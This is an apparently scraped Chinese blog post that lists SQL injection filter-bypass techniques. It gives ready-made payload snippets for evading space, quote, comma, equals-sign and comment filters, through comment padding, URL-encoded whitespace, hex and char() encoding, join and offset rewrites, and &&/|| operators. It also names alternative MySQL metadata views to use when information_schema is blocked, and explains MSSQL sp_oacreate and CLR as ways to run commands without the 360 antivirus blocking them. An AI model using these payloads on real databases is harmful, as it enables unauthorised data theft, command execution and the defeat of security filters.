赞
踩
编码
编码无非就是hex、url等等编码,让传到数据库的数据能够解析的即可,比如URL编码一般在传给业务的时候就会自动解码
空格被过滤的情况,可以用如下的一些手法:
select/**/user();
select/*hahaha*/user();
使用URL编码 +
编码空格
%0d、%0a、%09、%0b、%a0
括号是用来包围子查询的;因此任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格
select(user())from(t_user);
and/or
后面的空格需要绕过如果是and/or
后面的空格需要绕过的话,可以跟上奇或者偶数个!、~
来替代空格,也可以混合使用(规律有不同,可以自己本地尝试),and/or
前的空格可用省略
select * from user where username="test"and!!!1=1;
select * from user where username="test"and~~~~1=1;
select * from user where username="test"and~~!!!~~1=1;
也可以用+、-
来替代空格,and后有偶数个-
即可,+
的个数随意
select * from user where username="test"and------1=1;
select * from user where username="test"and+++---+++---+++1=1;
十六进制hex()
单/双引号被过滤,一般采用16进制绕过
例如:
-- 原语句
select table_name from information_schema.tables where table_schema='test';
-- 16进制后
select table_name from information_schema.tables where table_schema=0x74657374;
char()
除了上面的十六进制外,还可以用char函数连接起来
select table_name from information_schema.tables where table_schema='test';
-- char后
select table_name from information_schema.tables where table_schema=char(116,101,115,116);
针对普通情况(使用join)
-- 原语句
select user(),database();
-- 绕过
select * from (select user())a join (select database())b;
针对limit(使用offset)
-- 原语句
select * from t_user limit 1,1
-- 绕过
select * from t_user limit 1 offset 1;
针对切割函数
-- 原语句
select substr(username,1,1) from t_user;
-- 绕过
select substr(username from 1 for 1) from t_user;
过滤了等号或者相关的匹配符,可以采用如下的一些手法来绕过
因为and和or主要也是起到连接我们拼接语句的作用,那我们找其他类似功能的算术符等即可
select 1 && 0;
select 1 || 0;
对注释符过滤的情况下,对我们来说问题可能就是语句不能正常执行
解决办法也很简单,用完整语句给他闭合就OK了,其他语句类似
# 原始
?id=1
# 完整闭合
?id=1' and expr and '1'='1
一些函数如ascii
等被过滤,可以使用等价的函数进行绕过,如
1、利用mysql5.7新增的sys.schema_auto_increment_columns
这是sys数据库下的一个视图,基础数据来自与information_schema
,他的作用是对表的自增ID进行监控,也就是说,如果某张表存在自增ID,就可以通过该视图来获取其表名和所在数据库名
2、sys.schema_table_statistics_with_buffer
这是sys数据库下的视图,里面存储着所有数据库所有表的统计信息
3、mysql默认存储引擎innoDB携带的表
mysql.innodb_table_stats
mysql.innodb_index_stats
两表均有database_name和table_name字段,可以利用
xp_cmdshell
是直接使用cmd /c来执行命令的,会被360拦截,可以用sp_oacreate
来执行一些读写功能,因为不调用cmd所以360不会拦截,前提是需要知道网站的根目录
另一种方法是使用CLR,MSSQL CLR 是一项功能,允许在 SQL Server 数据库上运行托管代码,包括 C# 和 Visual Basic
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。